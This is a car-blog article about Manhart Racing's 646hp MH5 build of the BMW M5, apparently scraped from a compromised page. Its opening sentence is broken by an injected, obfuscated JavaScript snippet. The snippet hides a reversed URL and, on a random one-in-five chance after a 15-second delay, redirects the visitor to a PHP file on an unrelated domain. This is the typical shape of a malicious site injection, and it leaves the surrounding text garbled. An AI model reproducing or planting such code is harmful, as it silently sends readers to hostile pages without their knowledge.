Perhaps you remember the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/manhart-racing-633-bhp-mh5-s-biturbo-incomparable/” target=”_blank”>last Manhart-tuned performance behemoth we featured on crankandpiston: a souped up M5 F10 – now the MH5 S Biturbo – which pumped out 633bhp, 575lb-ft of torque, and boasted exhaust valves powerful enough to blow most apartment windows to oblivion within a half kilometre radius.
Somehow, Manhart Racing has managed to make it even more powerful.
We’ll start with some sad news, in that the death metal black is long gone, replaced by full grey-matt metallic wrap and just enough Manhart sponsor stickers to get the point across. Still, this does apparently give the MH5 a ‘stealth fighter’ look, which should appeal to the eight-year-olds among you.
No pulsating bundle of horsepower though is complete without a rear wing, front splitter and a rear diffuser. Check, check and check. There’s also been some cheeky carbon botox about the air intakes and the bonnet.
But you’ve not come here for cosmetics. The real show is under the bonnet, where the 4.4-litre Biturbo has been given a healthy dose of steroids and now spits out 646hp. Read that again: 646hp. This BMW M5 (though you’ll find no reference whatsoever to it on any of the panels) can now hit 316kph.
In order to ensure that your newly acquired Manhart MH5 doesn’t end up as a pile of broken plastic panels against the highway Armco, the Beemer now boasts a stiffer chassis and 21-inch high performance tyres.
Should you happen to be at the Essen Motor Show next week, you can check out Manhart Racing’s handiwork for yourself. If not, you could also have a scout at the company’s website and give your bank balance a scare.
